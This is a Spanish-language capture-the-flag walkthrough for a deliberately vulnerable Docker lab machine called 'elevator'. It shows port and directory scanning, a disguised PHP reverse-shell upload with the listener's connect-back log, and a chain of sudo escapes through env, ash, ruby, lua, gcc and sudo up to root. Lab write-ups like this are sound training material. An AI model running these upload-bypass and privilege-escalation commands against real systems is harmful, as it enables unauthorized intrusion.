Cuando obtenemos el .zip nos lo pasamos al entorno en el que vamos a empezar a hackear la maquina y haremos lo siguiente.
unzipelevator.zip
Nos lo descomprimira y despues montamos la maquina de la siguiente forma.
bashauto_deploy.shelevator.tar
Info:
## .
## ## ## ==
## ## ## ## ===
/""""""""""""""""\___/ ===
~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ / ===- ~~~
\______ o __/
\ \ __/
\____\______/
___ ____ ____ _ _ ____ ____ _ ____ ___ ____
| \ | | | |_/ |___ |__/ | |__| |__] [__
|__/ |__| |___ | \_ |___ | \ |___ | | |__] ___]
Estamos desplegando la máquina vulnerable, espere un momento.
Máquina desplegada, su dirección IP es --> 172.17.0.2
Presiona Ctrl+C cuando termines con la máquina para eliminarla
Por lo que cuando terminemos de hackearla, le damos a Ctrl+C y nos eliminara la maquina para que no se queden archivos basura.
Escaneo de puertos
Info:
Si entramos en la pagina web que esta subida, no veremos gran cosa, por lo que intentaremos fuzzear a ver que encontramos.
Gobuster
Info:
Vemos que los ultimos resultados del 403 no suelen ser normales, por lo que fuzzearemos en el directorio /themes:
Info:
Vemos que hay bastantes resultados interesantes, por lo que entraremos en la pagina llamada /archivo.html.
Escalate user www-data
Si entramos en dicha pagina veremos una web en la que podremos subir un archivo .jpg, por lo que intentaremos subir un .php camuflado para crearnos una reverse shell:
shell.php.jpg
Ponemos esas extensiones al archivo .php.jpg para camuflarlo, y antes de enviar el archivo, nos pondremos a la escucha:
Ahora tendremos que subir el archivo y darle a subir imagen, si ahora nos volvemos a la escucha veremos lo siguiente:
Escalate user daphne
Ahora tendremos que sanitizar la shell (TTY).
Si hacemos sudo -l veremos lo siguiente:
Por lo que podremos ejecutar el binario env como el usuario daphne, por lo que haremos lo siguiente:
Y con esto seremos dicho usuario.
Escalate user vilma
Primero pondremos bash para tener una shell de bash y tener una shell mucho mejor.
Si hacemos sudo -l veremos lo siguiente:
Por lo que vemos podremos ejecutar ese binario ash como el usuario vilma, por lo que haremos lo siguiente:
Y con esto seremos dicho usuario.
Escalate user shaggy
Si hacemos sudo -l veremos lo siguiente:
Por lo que vemos podemos ejecutar el binario ruby como el usuario shaggy, por lo que haremos lo siguiente:
Y con esto seremos dicho usuario.
Escalate user fred
Si hacemos sudo -l veremos lo siguiente:
Por lo que vemos podemos ejecutar el binario lua como el usuario fred, por lo que haremos lo siguiente:
Y con esto seremos dicho usuario.
Escalate user scooby
Si hacemos sudo -l veremos lo siguiente:
Por lo que vemos podemos ejecutar el binario gcc como el usuario scooby, por lo que haremos lo siguiente:
Y con esto seremos dicho usuario.
Escalate Privileges
Si hacemos sudo -l veremos lo siguiente:
Vemos que podremos ejecutar el binario sudo como el usuario root, por lo que haremos lo siguiente:
Y con esto ya seremos root, por lo que habremos terminado.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-12-21 04:09 EST
Nmap scan report for ctf403.hl (172.17.0.2)
Host is up (0.000043s latency).
PORT STATE SERVICE VERSION
80/tcp open http Apache httpd 2.4.62 ((Debian))
|_http-title: El Ascensor Embrujado - Un Misterio de Scooby-Doo
|_http-server-header: Apache/2.4.62 (Debian)
MAC Address: 02:42:AC:11:00:02 (Unknown)
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 6.70 seconds
listening on [any] 7777 ...
connect to [192.168.5.186] from (UNKNOWN) [172.17.0.2] 42940
whoami
www-data
script /dev/null -c bash
# <Ctrl> + <z>
stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=/bin/bash
# Para ver las dimensiones de nuestra consola en el Host
stty size
# Para redimensionar la consola ajustando los parametros adecuados
stty rows <ROWS> columns <COLUMNS>
Matching Defaults entries for www-data on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User www-data may run the following commands on f6a8d22ef0ec:
(daphne) NOPASSWD: /usr/bin/env
sudo -u daphne env /bin/sh
Matching Defaults entries for daphne on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User daphne may run the following commands on f6a8d22ef0ec:
(vilma) NOPASSWD: /usr/bin/ash
sudo -u vilma ash
Matching Defaults entries for vilma on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User vilma may run the following commands on f6a8d22ef0ec:
(shaggy) NOPASSWD: /usr/bin/ruby
sudo -u shaggy ruby -e 'exec "/bin/sh"'
Matching Defaults entries for shaggy on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User shaggy may run the following commands on f6a8d22ef0ec:
(fred) NOPASSWD: /usr/bin/lua
sudo -u fred lua -e 'os.execute("/bin/sh")'
Matching Defaults entries for fred on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User fred may run the following commands on f6a8d22ef0ec:
(scooby) NOPASSWD: /usr/bin/gcc
sudo -u scooby gcc -wrapper /bin/sh,-s .
Matching Defaults entries for scooby on f6a8d22ef0ec:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin, use_pty
User scooby may run the following commands on f6a8d22ef0ec:
(root) NOPASSWD: /usr/bin/sudo
